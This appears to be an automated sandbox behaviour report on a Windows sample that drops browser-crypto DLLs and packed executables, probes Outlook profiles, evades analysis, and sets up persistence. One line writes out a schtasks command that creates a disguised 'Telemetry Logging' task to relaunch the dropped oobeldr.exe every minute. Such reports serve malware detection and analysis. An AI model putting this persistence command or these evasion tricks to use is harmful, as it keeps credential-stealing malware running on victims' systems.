Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\CAKKJKKECF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\CAKKJKKECF.exe "C:\ProgramData\CAKKJKKECF.exe"	Jump to behavior
Source: C:\ProgramData\CAKKJKKECF.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\CAKKJKKECF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\CAKKJKKECF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\CAKKJKKECF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\CAKKJKKECF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.6.dr, mozglue.dll.6.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.6.dr, freebl3[1].dll.6.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.6.dr, freebl3[1].dll.6.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000006.00000002.2223067955.000000006CC4F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.6.dr, softokn3[1].dll.6.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.6.dr, vcruntime140[1].dll.6.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.6.dr, msvcp140.dll.6.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000006.00000002.2223067955.000000006CC4F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr
Source:	Binary string: .pdb8% source: file.exe
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.6.dr, mozglue.dll.6.dr
Source:	Binary string: softokn3.pdb source: softokn3.dll.6.dr, softokn3[1].dll.6.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\ProgramData\CAKKJKKECF.exe	Unpacked PE file: 10.2.CAKKJKKECF.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Unpacked PE file: 14.2.oobeldr.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 6_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_004195E0

Source: initial sample

Static PE information: section where entry point is pointing to: .MPRESS2

Source: CAKKJKKECF.exe.6.dr	Static PE information: section name: .MPRESS1
Source: CAKKJKKECF.exe.6.dr	Static PE information: section name: .MPRESS2
Source: l2[1].exe.6.dr	Static PE information: section name: .MPRESS1
Source: l2[1].exe.6.dr	Static PE information: section name: .MPRESS2
Source: mozglue[1].dll.6.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.6.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.6.dr	Static PE information: section name: .didat
Source: nss3.dll.6.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.6.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.6.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.6.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.6.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.6.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.6.dr	Static PE information: section name: .00cfg
Source: oobeldr.exe.10.dr	Static PE information: section name: .MPRESS1
Source: oobeldr.exe.10.dr	Static PE information: section name: .MPRESS2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0041A9F5 push ecx; ret	6_2_0041AA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA4B536 push ecx; ret	6_2_6CA4B549
Source: C:\ProgramData\CAKKJKKECF.exe	Code function: 10_2_006D50A5 push ebp; ret	10_2_00721C57

Source: file.exe

Static PE information: section name: .text entropy: 7.992062661710074

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\l2[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\ProgramData\CAKKJKKECF.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CAKKJKKECF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CAKKJKKECF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\ProgramData\CAKKJKKECF.exe

Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

6_2_004195E0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_6-76479

Switches to a custom stack to bypass stack traces

Source: C:\ProgramData\CAKKJKKECF.exe	API/Special instruction interceptor: Address: 5DAFBF
Source: C:\ProgramData\CAKKJKKECF.exe	API/Special instruction interceptor: Address: 761C29
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	API/Special instruction interceptor: Address: 5DAFBF
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	API/Special instruction interceptor: Address: 761C29

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2BA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 4D90000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Window / User API: threadDelayed 2806			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Window / User API: threadDelayed 7189			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 6.7 %

Source: C:\Users\user\Desktop\file.exe TID: 1656	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 1892	Thread sleep count: 2806 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 1892	Thread sleep time: -631350s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 1892	Thread sleep count: 7189 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 1892	Thread sleep time: -1617525s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	6_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	6_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	6_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	6_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	6_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	6_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	6_2_00414050
